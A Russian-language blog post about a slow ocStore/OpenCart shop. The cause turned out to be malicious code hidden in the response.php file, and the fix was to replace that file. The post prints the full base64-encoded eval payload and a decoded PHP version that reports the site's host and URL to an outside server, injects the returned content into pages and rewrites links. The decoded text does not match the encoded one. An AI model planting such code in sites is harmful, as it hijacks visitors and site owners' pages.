Наконец добрался до новой записи в нашем блоге. Что не может не радовать :-)
Сегодня хочу рассказать о проблеме, с которой могут столкнуться пользователи сборки ocStore на основе OpenCart. Об этой системе я однажды писал в блоге( "Проблемы выбора движка для интернет-магазина. OpenCart" ).
У меня стоит сборка ocStore версии v_1.5.1.3. Знакомство с системой началось довольно хорошо: разобрался с функционалом, настроил админку, изменил дизайн и другое. Но со временем производительность сайта стала просто ужасной! Для определения скорости страниц установил счетчик на страницы, который еще больше меня расстраивал полученными данными:
При средней скорости загрузки страниц на других сайтах (порядка 0,2 - 0,4 сек) показатель очень плохой.
Мною было перерыто большое количество сайтов в поисках решения проблемы. Большинство из предложенного не помогало. Тем более советы были в основном на увеличении скорости загрузки страниц при количестве товаров в несколько тысяч штук. У меня всего 82 :-/
Решил прокатать сайт на вирусы, но ничего не нашлось.
Но потом на одном из форумов заметил довольно унылую по количеству обсуждающих тему!, в которой предлагалось проверить на вирусы исходники файлов, так как в них возможно с самого начала был зашит вредоносный код.
А необходимо было проверить файл по следующему пути в исходных файлах сайта:
Если в файле встретилась конструкция вида, то приношу свои "поздравления" (:
$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
Товарищ расшифровал код:
function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return false; break; } } if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("", "", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; }
Данный зашифрованный код пытается долбиться в http://googlejavascript.com/api.php. Не понятно что он там хотел, но это уже и не важно.
Лучшим способом очиститься от этого вредоносного файла с кодом - это заменить файл response.php на "чистый" файл из этой директории.
Скачайте исходник версии OpenCart, которая вам подходит и возьмите из нее нужный файлик.
Скорость открытия страницы (у меня) 0,3 секунды! Что в 12 раз больше того, что мы имели вначале.